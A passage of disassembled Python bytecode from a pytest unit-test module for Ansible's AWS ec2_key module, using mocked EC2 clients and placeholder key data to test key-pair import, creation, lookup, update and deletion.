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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME datetime STORE_NAME datetime LOAD_CONST 0 LOAD_CONST ('ANY',) IMPORT_NAME unittest.mock IMPORT_FROM ANY STORE_NAME ANY POP_TOP LOAD_CONST 0 LOAD_CONST ('MagicMock',) IMPORT_NAME unittest.mock IMPORT_FROM MagicMock STORE_NAME MagicMock POP_TOP LOAD_CONST 0 LOAD_CONST ('patch',) IMPORT_NAME unittest.mock IMPORT_FROM patch STORE_NAME patch POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME botocore STORE_NAME botocore LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST ('tzutc',) IMPORT_NAME dateutil.tz IMPORT_FROM tzutc STORE_NAME tzutc POP_TOP LOAD_CONST 0 LOAD_CONST ('to_bytes',) IMPORT_NAME ansible.module_utils._text IMPORT_FROM to_bytes STORE_NAME to_bytes POP_TOP LOAD_CONST 0 LOAD_CONST ('ec2_key',) IMPORT_NAME ansible_collections.amazon.aws.plugins.modules IMPORT_FROM ec2_key STORE_NAME ec2_key POP_TOP LOAD_CONST 'ansible_collections.amazon.aws.plugins.modules.ec2_key' STORE_NAME module_name LOAD_CONST <code object raise_botocore_exception_clienterror at 0x7faac0322e40, file "f.py", line 18> LOAD_CONST 'raise_botocore_exception_clienterror' MAKE_FUNCTION STORE_NAME raise_botocore_exception_clienterror LOAD_CONST <code object test__import_key_pair at 0x7faac03221e0, file "f.py", line 40> LOAD_CONST 'test__import_key_pair' MAKE_FUNCTION STORE_NAME test__import_key_pair LOAD_CONST <code object test_api_failure__import_key_pair at 0x7faac0322ed0, file "f.py", line 63> LOAD_CONST 'test_api_failure__import_key_pair' MAKE_FUNCTION STORE_NAME test_api_failure__import_key_pair LOAD_CONST <code object test_extract_key_data_describe_key_pairs at 0x7faa7c2774b0, file "f.py", line 81> LOAD_CONST 'test_extract_key_data_describe_key_pairs' MAKE_FUNCTION STORE_NAME test_extract_key_data_describe_key_pairs LOAD_CONST <code object test_extract_key_data_create_key_pair at 0x7faa7c277c00, file "f.py", line 105> LOAD_CONST 'test_extract_key_data_create_key_pair' MAKE_FUNCTION STORE_NAME test_extract_key_data_create_key_pair LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.delete_key_pair' BINARY_ADD CALL_FUNCTION LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '._import_key_pair' BINARY_ADD CALL_FUNCTION LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.find_key_pair' BINARY_ADD CALL_FUNCTION LOAD_CONST <code object test_get_key_fingerprint at 0x7faa7c277a50, file "f.py", line 127> LOAD_CONST 'test_get_key_fingerprint' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_get_key_fingerprint LOAD_CONST <code object test_find_key_pair at 0x7faa7c277300, file "f.py", line 161> LOAD_CONST 'test_find_key_pair' MAKE_FUNCTION STORE_NAME test_find_key_pair LOAD_CONST <code object test_api_failure_find_key_pair at 0x7faa7c2778a0, file "f.py", line 186> LOAD_CONST 'test_api_failure_find_key_pair' MAKE_FUNCTION STORE_NAME test_api_failure_find_key_pair LOAD_CONST <code object test_invalid_key_pair_find_key_pair at 0x7faa7c277b70, file "f.py", line 196> LOAD_CONST 'test_invalid_key_pair_find_key_pair' MAKE_FUNCTION STORE_NAME test_invalid_key_pair_find_key_pair LOAD_CONST <code object test__create_key_pair at 0x7faa7c277390, file "f.py", line 209> LOAD_CONST 'test__create_key_pair' MAKE_FUNCTION STORE_NAME test__create_key_pair LOAD_CONST <code object test_api_failure__create_key_pair at 0x7faa7c277db0, file "f.py", line 235> LOAD_CONST 'test_api_failure__create_key_pair' MAKE_FUNCTION STORE_NAME test_api_failure__create_key_pair LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.extract_key_data' BINARY_ADD CALL_FUNCTION LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '._import_key_pair' BINARY_ADD CALL_FUNCTION LOAD_CONST <code object test_create_new_key_pair_key_material at 0x7faa7c2775d0, file "f.py", line 249> LOAD_CONST 'test_create_new_key_pair_key_material' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_create_new_key_pair_key_material LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.extract_key_data' BINARY_ADD CALL_FUNCTION LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '._create_key_pair' BINARY_ADD CALL_FUNCTION LOAD_CONST <code object test_create_new_key_pair_no_key_material at 0x7faa7c277ed0, file "f.py", line 291> LOAD_CONST 'test_create_new_key_pair_no_key_material' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_create_new_key_pair_no_key_material LOAD_CONST <code object test__delete_key_pair at 0x7faa7c277030, file "f.py", line 333> LOAD_CONST 'test__delete_key_pair' MAKE_FUNCTION STORE_NAME test__delete_key_pair LOAD_CONST <code object test_api_failure__delete_key_pair at 0x7faa7c277810, file "f.py", line 343> LOAD_CONST 'test_api_failure__delete_key_pair' MAKE_FUNCTION STORE_NAME test_api_failure__delete_key_pair LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.extract_key_data' BINARY_ADD CALL_FUNCTION LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '._import_key_pair' BINARY_ADD CALL_FUNCTION LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.delete_key_pair' BINARY_ADD CALL_FUNCTION LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.get_key_fingerprint' BINARY_ADD CALL_FUNCTION LOAD_CONST <code object test_update_key_pair_by_key_material_update_needed at 0x7faa7c181270, file "f.py", line 355> LOAD_CONST 'test_update_key_pair_by_key_material_update_needed' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_update_key_pair_by_key_material_update_needed LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.extract_key_data' BINARY_ADD CALL_FUNCTION LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.get_key_fingerprint' BINARY_ADD CALL_FUNCTION LOAD_CONST <code object test_update_key_pair_by_key_material_key_exists at 0x7faa7c181030, file "f.py", line 418> LOAD_CONST 'test_update_key_pair_by_key_material_key_exists' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_update_key_pair_by_key_material_key_exists LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.extract_key_data' BINARY_ADD CALL_FUNCTION LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '._create_key_pair' BINARY_ADD CALL_FUNCTION LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.delete_key_pair' BINARY_ADD CALL_FUNCTION LOAD_CONST <code object test_update_key_pair_by_key_type_update_needed at 0x7faa7c1810c0, file "f.py", line 459> LOAD_CONST 'test_update_key_pair_by_key_type_update_needed' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_update_key_pair_by_key_type_update_needed LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.update_key_pair_by_key_material' BINARY_ADD CALL_FUNCTION LOAD_CONST <code object test_handle_existing_key_pair_update_key_matrial_with_force at 0x7faa7c181d20, file "f.py", line 513> LOAD_CONST 'test_handle_existing_key_pair_update_key_matrial_with_force' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_handle_existing_key_pair_update_key_matrial_with_force LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.update_key_pair_by_key_type' BINARY_ADD CALL_FUNCTION LOAD_CONST <code object test_handle_existing_key_pair_update_key_type at 0x7faa7c181db0, file "f.py", line 559> LOAD_CONST 'test_handle_existing_key_pair_update_key_type' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_handle_existing_key_pair_update_key_type LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.extract_key_data' BINARY_ADD CALL_FUNCTION LOAD_CONST <code object test_handle_existing_key_pair_else at 0x7faa7c1816f0, file "f.py", line 603> LOAD_CONST 'test_handle_existing_key_pair_else' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_handle_existing_key_pair_else LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '._delete_key_pair' BINARY_ADD CALL_FUNCTION LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.find_key_pair' BINARY_ADD CALL_FUNCTION LOAD_CONST <code object test_delete_key_pair_key_exists at 0x7faa7c181c00, file "f.py", line 646> LOAD_CONST 'test_delete_key_pair_key_exists' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_delete_key_pair_key_exists LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '._delete_key_pair' BINARY_ADD CALL_FUNCTION LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.find_key_pair' BINARY_ADD CALL_FUNCTION LOAD_CONST <code object test_delete_key_pair_key_not_exist at 0x7faa7c181f60, file "f.py", line 680> LOAD_CONST 'test_delete_key_pair_key_not_exist' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_delete_key_pair_key_not_exist LOAD_CONST <code object test__write_private_key at 0x7faa7c181930, file "f.py", line 702> LOAD_CONST 'test__write_private_key' MAKE_FUNCTION STORE_NAME test__write_private_key LOAD_NAME patch LOAD_NAME module_name LOAD_CONST '.AnsibleAWSModule' BINARY_ADD CALL_FUNCTION LOAD_CONST <code object test_main_success at 0x7faa7c045420, file "f.py", line 720> LOAD_CONST 'test_main_success' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_main_success LOAD_CONST None RETURN_VALUE LOAD_CONST 1 LOAD_CONST 'error creating key' LOAD_CONST ('Code', 'Message') BUILD_CONST_KEY_MAP LOAD_CONST 'RequestId' LOAD_CONST '01234567-89ab-cdef-0123-456789abcdef' BUILD_MAP LOAD_CONST ('Error', 'ResponseMetadata') BUILD_CONST_KEY_MAP STORE_FAST params LOAD_FAST action LOAD_CONST 'create_key_pair' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'error creating key' LOAD_FAST params LOAD_CONST 'Error' BINARY_SUBSCR LOAD_CONST 'Message' STORE_SUBSCR JUMP_FORWARD to 118 LOAD_FAST action LOAD_CONST 'describe_key_pair' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'InvalidKeyPair.NotFound' LOAD_FAST params LOAD_CONST 'Error' BINARY_SUBSCR LOAD_CONST 'Code' STORE_SUBSCR LOAD_CONST 'The key pair does not exist' LOAD_FAST params LOAD_CONST 'Error' BINARY_SUBSCR LOAD_CONST 'Message' STORE_SUBSCR JUMP_FORWARD to 118 LOAD_FAST action LOAD_CONST 'import_key_pair' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'error importing key' LOAD_FAST params LOAD_CONST 'Error' BINARY_SUBSCR LOAD_CONST 'Message' STORE_SUBSCR JUMP_FORWARD to 118 LOAD_FAST action LOAD_CONST 'delete_key_pair' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'error deleting key' LOAD_FAST params LOAD_CONST 'Error' BINARY_SUBSCR LOAD_CONST 'Message' STORE_SUBSCR LOAD_GLOBAL botocore LOAD_ATTR exceptions LOAD_METHOD ClientError LOAD_FAST params LOAD_FAST action CALL_METHOD RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST 'ssh-rsa AAAAB3NzaC1yc2EAA [email protected]' STORE_FAST key_material LOAD_FAST name LOAD_GLOBAL to_bytes LOAD_FAST key_material CALL_FUNCTION LOAD_CONST ('KeyName', 'PublicKeyMaterial') BUILD_CONST_KEY_MAP STORE_FAST expected_params LOAD_CONST 'd7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62' LOAD_CONST 'my_keypair' LOAD_CONST 'key-012345678905a208d' LOAD_CONST ('KeyFingerprint', 'KeyName', 'KeyPairId') BUILD_CONST_KEY_MAP LOAD_FAST ec2_client LOAD_ATTR import_key_pair STORE_ATTR return_value LOAD_GLOBAL ec2_key LOAD_METHOD _import_key_pair LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST key_material CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST ec2_client LOAD_ATTR import_key_pair LOAD_ATTR return_value COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ec2_client LOAD_ATTR import_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ec2_client LOAD_ATTR import_key_pair LOAD_ATTR assert_called_with BUILD_TUPLE LOAD_CONST 'aws_retry' LOAD_CONST True BUILD_MAP LOAD_FAST expected_params BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST 'ssh-rsa AAAAB3NzaC1yc2EAA [email protected]' STORE_FAST key_material LOAD_FAST name LOAD_GLOBAL to_bytes LOAD_FAST key_material CALL_FUNCTION LOAD_CONST ('KeyName', 'PublicKeyMaterial') BUILD_CONST_KEY_MAP STORE_FAST expected_params LOAD_GLOBAL raise_botocore_exception_clienterror LOAD_CONST 'import_key_pair' CALL_FUNCTION LOAD_FAST ec2_client LOAD_ATTR import_key_pair STORE_ATTR side_effect LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ec2_key LOAD_ATTR Ec2KeyFailure CALL_METHOD SETUP_WITH to 72 POP_TOP LOAD_GLOBAL ec2_key LOAD_METHOD _import_key_pair LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST key_material CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_CONST 2022 LOAD_CONST 9 LOAD_CONST 15 LOAD_CONST 20 LOAD_CONST 10 LOAD_CONST 15 LOAD_GLOBAL tzutc CALL_FUNCTION LOAD_CONST ('tzinfo',) CALL_FUNCTION LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'my_keypair' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_LIST LOAD_CONST ('CreateTime', 'KeyFingerprint', 'KeyName', 'KeyPairId', 'Tags') BUILD_CONST_KEY_MAP STORE_FAST key LOAD_CONST 'rsa' STORE_FAST key_type LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST file_name LOAD_CONST 'my_keypair' LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST 'rsa' LOAD_CONST ('name', 'fingerprint', 'id', 'tags', 'type') BUILD_CONST_KEY_MAP STORE_FAST expected_result LOAD_GLOBAL ec2_key LOAD_METHOD extract_key_data LOAD_FAST key LOAD_FAST key_type LOAD_FAST file_name CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST expected_result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'my_keypair' LOAD_CONST 'key-043046ef2a9a80b56' LOAD_CONST ('KeyFingerprint', 'KeyName', 'KeyPairId') BUILD_CONST_KEY_MAP STORE_FAST key LOAD_CONST 'rsa' STORE_FAST key_type LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST file_name LOAD_CONST 'my_keypair' LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST 'rsa' LOAD_CONST ('name', 'fingerprint', 'id', 'tags', 'type') BUILD_CONST_KEY_MAP STORE_FAST expected_result LOAD_GLOBAL ec2_key LOAD_METHOD extract_key_data LOAD_FAST key LOAD_FAST key_type LOAD_FAST file_name CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST expected_result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST module LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST file_name LOAD_CONST None LOAD_FAST m_find_key_pair STORE_ATTR return_value LOAD_CONST 'd7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62' LOAD_CONST 'my_keypair' LOAD_CONST 'key-043046ef2a9a80b56' LOAD_CONST ('KeyFingerprint', 'KeyName', 'KeyPairId') BUILD_CONST_KEY_MAP LOAD_FAST m_import_key_pair STORE_ATTR return_value LOAD_CONST True LOAD_CONST None LOAD_CONST 'key deleted' LOAD_CONST ('changed', 'key', 'msg') BUILD_CONST_KEY_MAP LOAD_FAST m_delete_key_pair STORE_ATTR return_value LOAD_CONST 'd7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62' STORE_FAST expected_result LOAD_CONST 'ssh-rsa AAAAB3NzaC1yc2EAA [email protected]' STORE_FAST key_material LOAD_GLOBAL ec2_key LOAD_METHOD get_key_fingerprint LOAD_FAST module LOAD_FAST ec2_client LOAD_FAST key_material CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST expected_result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_find_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_import_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_delete_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST 'KeyPairs' LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_CONST 2022 LOAD_CONST 9 LOAD_CONST 15 LOAD_CONST 20 LOAD_CONST 10 LOAD_CONST 15 LOAD_GLOBAL tzutc CALL_FUNCTION LOAD_CONST ('tzinfo',) CALL_FUNCTION LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'my_keypair' LOAD_CONST 'key-043046ef2a9a80b56' LOAD_CONST 'rsa' BUILD_LIST LOAD_CONST ('CreateTime', 'KeyFingerprint', 'KeyName', 'KeyPairId', 'KeyType', 'Tags') BUILD_CONST_KEY_MAP BUILD_LIST BUILD_MAP LOAD_FAST ec2_client LOAD_ATTR describe_key_pairs STORE_ATTR return_value LOAD_GLOBAL ec2_key LOAD_METHOD find_key_pair LOAD_FAST ec2_client LOAD_FAST name CALL_METHOD POP_TOP LOAD_FAST ec2_client LOAD_ATTR describe_key_pairs LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ec2_client LOAD_ATTR describe_key_pairs LOAD_ATTR assert_called_with LOAD_CONST True LOAD_FAST name BUILD_LIST LOAD_CONST ('aws_retry', 'KeyNames') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'non_existing_keypair' STORE_FAST name LOAD_GLOBAL botocore LOAD_ATTR exceptions LOAD_ATTR BotoCoreError LOAD_FAST ec2_client LOAD_ATTR describe_key_pairs STORE_ATTR side_effect LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ec2_key LOAD_ATTR Ec2KeyFailure CALL_METHOD SETUP_WITH to 52 POP_TOP LOAD_GLOBAL ec2_key LOAD_METHOD find_key_pair LOAD_FAST ec2_client LOAD_FAST name CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'non_existing_keypair' STORE_FAST name LOAD_GLOBAL raise_botocore_exception_clienterror LOAD_CONST 'describe_key_pair' CALL_FUNCTION LOAD_FAST ec2_client LOAD_ATTR describe_key_pairs STORE_ATTR side_effect LOAD_GLOBAL ec2_key LOAD_METHOD find_key_pair LOAD_FAST ec2_client LOAD_FAST name CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST None STORE_FAST tag_spec LOAD_CONST None STORE_FAST key_type LOAD_CONST 'KeyName' LOAD_FAST name BUILD_MAP STORE_FAST expected_params LOAD_CONST 'd7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62' LOAD_CONST '-----BEGIN RSA PRIVATE KEY-----\nMIIEXm7/Bi9wba2m0Qtclu\nCXQw2paSIZb\n-----END RSA PRIVATE KEY-----' LOAD_CONST 'my_keypair' LOAD_CONST 'key-012345678905a208d' LOAD_CONST ('KeyFingerprint', 'KeyMaterial', 'KeyName', 'KeyPairId') BUILD_CONST_KEY_MAP LOAD_FAST ec2_client LOAD_ATTR create_key_pair STORE_ATTR return_value LOAD_GLOBAL ec2_key LOAD_METHOD _create_key_pair LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST tag_spec LOAD_FAST key_type CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST ec2_client LOAD_ATTR create_key_pair LOAD_ATTR return_value COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ec2_client LOAD_ATTR create_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ec2_client LOAD_ATTR create_key_pair LOAD_ATTR assert_called_with BUILD_TUPLE LOAD_CONST 'aws_retry' LOAD_CONST True BUILD_MAP LOAD_FAST expected_params BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST None STORE_FAST tag_spec LOAD_CONST None STORE_FAST key_type LOAD_GLOBAL raise_botocore_exception_clienterror LOAD_CONST 'create_key_pair' CALL_FUNCTION LOAD_FAST ec2_client LOAD_ATTR create_key_pair STORE_ATTR side_effect LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ec2_key LOAD_ATTR Ec2KeyFailure CALL_METHOD SETUP_WITH to 64 POP_TOP LOAD_GLOBAL ec2_key LOAD_METHOD _create_key_pair LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST tag_spec LOAD_FAST key_type CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST module LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST 'ssh-rsa AAAAB3NzaC1yc2EAA [email protected]' STORE_FAST key_material LOAD_CONST 'rsa' STORE_FAST key_type LOAD_CONST None STORE_FAST tags LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST file_name LOAD_CONST False LOAD_FAST module STORE_ATTR check_mode LOAD_CONST 'd7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62' LOAD_CONST 'my_keypair' LOAD_CONST 'key-012345678905a208d' LOAD_CONST ('KeyFingerprint', 'KeyName', 'KeyPairId') BUILD_CONST_KEY_MAP LOAD_FAST m_import_key_pair STORE_ATTR return_value LOAD_CONST 'my_keypair' LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST 'rsa' LOAD_CONST ('name', 'fingerprint', 'id', 'tags', 'type') BUILD_CONST_KEY_MAP LOAD_FAST m_extract_key_data STORE_ATTR return_value LOAD_CONST True LOAD_FAST m_extract_key_data LOAD_ATTR return_value LOAD_CONST 'key pair created' LOAD_CONST ('changed', 'key', 'msg') BUILD_CONST_KEY_MAP STORE_FAST expected_result LOAD_GLOBAL ec2_key LOAD_METHOD create_new_key_pair LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST key_material LOAD_FAST key_type LOAD_FAST tags LOAD_FAST file_name LOAD_FAST module LOAD_ATTR check_mode CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST expected_result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_import_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_extract_key_data LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST module LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_CONST 'rsa' STORE_FAST key_type LOAD_CONST None STORE_FAST key_material LOAD_CONST None STORE_FAST tags LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST file_name LOAD_CONST False LOAD_FAST module STORE_ATTR check_mode LOAD_CONST 'd7:ff:a6:63:18:64:9c:57:a1:ee:ca:a4:ad:c2:81:62' LOAD_CONST 'my_keypair' LOAD_CONST 'key-012345678905a208d' LOAD_CONST ('KeyFingerprint', 'KeyName', 'KeyPairId') BUILD_CONST_KEY_MAP LOAD_FAST m_create_key_pair STORE_ATTR return_value LOAD_CONST 'my_keypair' LOAD_CONST '11:12:13:14:bb:26:85:b2:e8:39:27:bc:ee:aa:ff:ee:dd:cc:bb:aa' LOAD_CONST 'key-043046ef2a9a80b56' BUILD_MAP LOAD_CONST 'rsa' LOAD_CONST ('name', 'fingerprint', 'id', 'tags', 'type') BUILD_CONST_KEY_MAP LOAD_FAST m_extract_key_data STORE_ATTR return_value LOAD_CONST True LOAD_FAST m_extract_key_data LOAD_ATTR return_value LOAD_CONST 'key pair created' LOAD_CONST ('changed', 'key', 'msg') BUILD_CONST_KEY_MAP STORE_FAST expected_result LOAD_GLOBAL ec2_key LOAD_METHOD create_new_key_pair LOAD_FAST ec2_client LOAD_FAST name LOAD_FAST key_material LOAD_FAST key_type LOAD_FAST tags LOAD_FAST file_name LOAD_FAST module LOAD_ATTR check_mode CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST expected_result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_create_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST m_extract_key_data LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST key_name LOAD_GLOBAL ec2_key LOAD_METHOD _delete_key_pair LOAD_FAST ec2_client LOAD_FAST key_name CALL_METHOD POP_TOP LOAD_FAST ec2_client LOAD_ATTR delete_key_pair LOAD_ATTR call_count LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ec2_client LOAD_ATTR delete_key_pair LOAD_ATTR assert_called_with LOAD_CONST True LOAD_FAST key_name LOAD_CONST ('aws_retry', 'KeyName') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL MagicMock CALL_FUNCTION STORE_FAST ec2_client LOAD_CONST 'my_keypair' STORE_FAST name LOAD_GLOBAL raise_botocore_exception_clienterror LOAD_CONST 'delete_key_pair' CALL_FUNCTION LOAD_FAST ec2_client LOAD_ATTR delete_key_pair STORE_ATTR side_effect LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ec2_key LOAD_ATTR Ec2KeyFailure CALL_METHOD SETUP_WITH to 52 POP_TOP LOAD_GLOBAL ec2_key LOAD_METHOD _delete_key_pair LOAD_FAST ec2_client 